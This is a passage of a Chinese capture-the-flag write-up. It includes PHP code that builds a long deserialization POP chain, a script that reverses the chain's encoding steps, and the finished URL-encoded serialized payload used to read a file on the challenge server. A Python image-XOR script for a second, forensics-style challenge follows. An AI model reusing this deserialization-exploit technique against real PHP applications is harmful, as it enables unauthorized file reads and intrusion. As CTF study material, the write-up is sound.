public function __construct(){
$this->fgVgm4TV97 = new xEFW8yw08();
}
}

class xEFW8yw08{
public $nYuAuh2;
public function __construct(){
$this->nYuAuh2 = new Ugh4SYk00D();
}
}

class Ugh4SYk00D{
public $tQF7ER;
public function __construct(){
$this->tQF7ER = new AN9pNsmlT();
}
}

class AN9pNsmlT{
public $Ipz7D3;
public function __construct(){
$this->Ipz7D3 = new \stdClass();
}
}

echo urlencode(serialize(new amg2Vw()));
}

同时对pop链中的所有编码过程进行逆向,得到最终要进行读/fumo的编码结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$fp = fopen("popchain.txt", "r");
$payload = '/fumo';
$line = fgets($fp);
$list = array();
while(! feof($fp)) {
$line = fgets($fp);//fgets()函数从文件指针中读取一行
array_push($list, trim($line));
$line = trim(explode(" ",$line)[3]);
echo $line."\n";
if($line === "pass") {
continue;
} else if($line === "base64_decode") {
$payload = base64_encode($payload);
} else if($line === "ucfirst") {
continue;
} else if($line === "strrev") {
$payload = strrev($payload);
} else if($line === "str_rot13") {
$payload = str_rot13($payload);
}
}
echo $payload."\n";
$list = array_reverse($list);
foreach($list as $line){
$line = explode(" ",$line)[3];
if($line === "pass") {
continue;
} else if($line === "base64_decode") {
$payload = base64_decode($payload);
} else if($line === "ucfirst") {
continue;
} else if($line === "strrev") {
$payload = strrev($payload);
} else if($line === "str_rot13") {
$payload = str_rot13($payload);
}
}
echo $payload;
fclose($fp);

最终序列化链:
1
O%3A20%3A%22christmasTree%5Camg2Vw%22%3A1%3A%7Bs%3A9%3A%22PCR49GlRM%22%3BO%3A24%3A%22christmasTree%5CvS1qenzGWr%22%3A2%3A%7Bs%3A7%3A%22yrVWMn9%22%3BO%3A22%3A%22christmasTree%5CGGcIkQ6E%22%3A2%3A%7Bs%3A8%3A%22CK5OgoyC%22%3BO%3A24%3A%22christmasTree%5CuGnuU5pGgQ%22%3A2%3A%7Bs%3A10%3A%22XbW5o6yiGv%22%3BO%3A24%3A%22christmasTree%5CezlgUUHCdQ%22%3A1%3A%7Bs%3A6%3A%22fDViVU%22%3BO%3A21%3A%22christmasTree%5Cp6NArTi%22%3A2%3A%7Bs%3A10%3A%22VbpsE7wqUH%22%3BO%3A20%3A%22christmasTree%5CxT506K%22%3A2%3A%7Bs%3A6%3A%22Dblxvn%22%3BO%3A24%3A%22christmasTree%5Cu1q3m04qZb%22%3A1%3A%7Bs%3A9%3A%22NGIlAGGLv%22%3BO%3A22%3A%22christmasTree%5Cc76So3oF%22%3A2%3A%7Bs%3A8%3A%22cwQWOIEL%22%3BO%3A24%3A%22christmasTree%5CeHSt3I5L30%22%3A2%3A%7Bs%3A6%3A%22exoEH1%22%3BO%3A24%3A%22christmasTree%5CFK0LfIlrxm%22%3A2%3A%7Bs%3A10%3A%22gZ9IzdbF6T%22%3BO%3A22%3A%22christmasTree%5Co5d0ioNZ%22%3A2%3A%7Bs%3A8%3A%22exGoDOPm%22%3BO%3A24%3A%22christmasTree%5CSKVnfvfbas%22%3A2%3A%7Bs%3A6%3A%22UOvWbl%22%3BO%3A21%3A%22christmasTree%5CT6Y5QYS%22%3A2%3A%7Bs%3A7%3A%22p9mwE7l%22%3BO%3A21%3A%22christmasTree%5CRonyv7u%22%3A2%3A%7Bs%3A9%3A%22uDQ0ehd4p%22%3BO%3A23%3A%22christmasTree%5Cd9vgRnlEA%22%3A1%3A%7Bs%3A7%3A%22T4rUU9R%22%3BO%3A24%3A%22christmasTree%5CXl5V1fEbzD%22%3A1%3A%7Bs%3A10%3A%22fgVgm4TV97%22%3BO%3A23%3A%22christmasTree%5CxEFW8yw08%22%3A1%3A%7Bs%3A7%3A%22nYuAuh2%22%3BO%3A24%3A%22christmasTree%5CUgh4SYk00D%22%3A1%3A%7Bs%3A6%3A%22tQF7ER%22%3BO%3A23%3A%22christmasTree%5CAN9pNsmlT%22%3A1%3A%7Bs%3A6%3A%22Ipz7D3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D%7D%7D%7Ds%3A9%3A%22uqkULP0XD%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22aysl2yR5g%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22m4pnFndZoX%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22TEODq2c3Uo%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A8%3A%22Q7mg44bg%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22UO4yLd%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A7%3A%22rHYG3Wr%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A8%3A%22sPEbogX4%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22yKwNrpRAQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A6%3A%22XEH9BQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22Vkyud3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22S839pvNRU%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D

然后调用的参数:9ADRPhlSX1UYKREV
即可读到/fumo

fumo xor cli

nc 远程发现是通过五颜六色的字符打印出一个 gif,肉眼发现有两帧不一样,把 nc 到的字节流重定向到本地文件,然后手动把这两帧提取出来,都是 50*133 个字符的,结合题意是xor,尝试rgb异或,本以为是个东西,结果啥也不是,完全不会了,这题放弃了。

image-20220110171014850

大半夜的,pill0w无意间发现链接的公众号推送的最后一张图有异样,下载原图,仔细观察发现:

image-20220110170958808

有规律的藏有五颜六色的像素,提取出来,发现是 133*100 的,把这个拆成两个 50*133 ,然后都旋转为正的,将 4 张 50*133 的图异或,发现大部分都是 (0,0,0),部分是三个一样的,再经过一些简单的图片处理,得到flag。

image-20220110170944308

全程处理数据的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from PIL import Image
import numpy as np
def rerange(s):
t = []
for i in range(len(s[0])):
t.append([s[_][i] for _ in range(len(s))])
return t

f = Image.open('640.png')

a = np.array(f)
cnt = 0
wx_list_1 = []
wx_list_2 = []
for i in range(len(a)):
if i % 9 == 1 and i < 1190:
b = a[i]
now_list_1 = []
now_list_2 = []
cnt_j = 0
for j in range(len(b)):
if j % 9 == 1:
if cnt_j < 50:
now_list_1.append(b[j])
else:
now_list_2.append(b[j])
cnt_j += 1
wx_list_1.append(now_list_1)
wx_list_2.append(now_list_2)
cnt += 1
wx_list_1 = rerange(wx_list_1)
wx_list_2 = rerange(wx_list_2)

import re
fp = open('pic1.txt', 'rb')
list_1 = []
for line in fp.readlines():
pattern = re.compile(r'\[\d+;\d+;(\d+);(\d+);(\d+)ma')
a = pattern.findall(line.decode())
a = [(int(_[0]), int(_[1]), int(_[2])) for _ in a]
list_1.append(a)
fp.close()

fp = open('pic2.txt', 'rb')
list_2 = []
for line in fp.readlines():
pattern = re.compile(r'\[\d+;\d+;(\d+);(\d+);(\d+)m[a-zA-Z0-9\:\/\.\_]')
a = pattern.findall(line.decode())
a = [(int(_[0]), int(_[1]), int(_[2])) for _ in a]
list_2.append(a)
fp.close()

fp = open('pic3', 'wb')
for i in range(len(list_1)):
a, b = wx_list_1[i], list_1[i]
c, d = wx_list_2[i], list_2[i]
for j in range(len(a)):
r1, g1, b1 = a[j]
r2, g2, b2 = b[j]
r3, g3, b3 = c[j]
r4, g4, b4 = d[j]

r0 = r2 ^ r1 ^ r3 ^ r4
g0 = g2 ^ g1 ^ g3 ^ g4
b0 = b2 ^ b1 ^ b3 ^ b4
if r0 != 0:
r0, b0, g0 = 255, 255, 255
# # c0 = chr(ord(c1) ^ ord(c2))
payload = '[38;2;%d;%d;%dm▇' % (r0, g0, b0)
fp.write(b'\x1b' + payload.encode())
fp.write('\n'.encode())

当时看到公众号就直接无视了,真没想到这最后一张图居然有问题。。。。

cubic(*)

大半夜看的这题,san值基本掉光了,当时已经把这题做法口糊出来了,但是因为各种脑残问题没搞出来。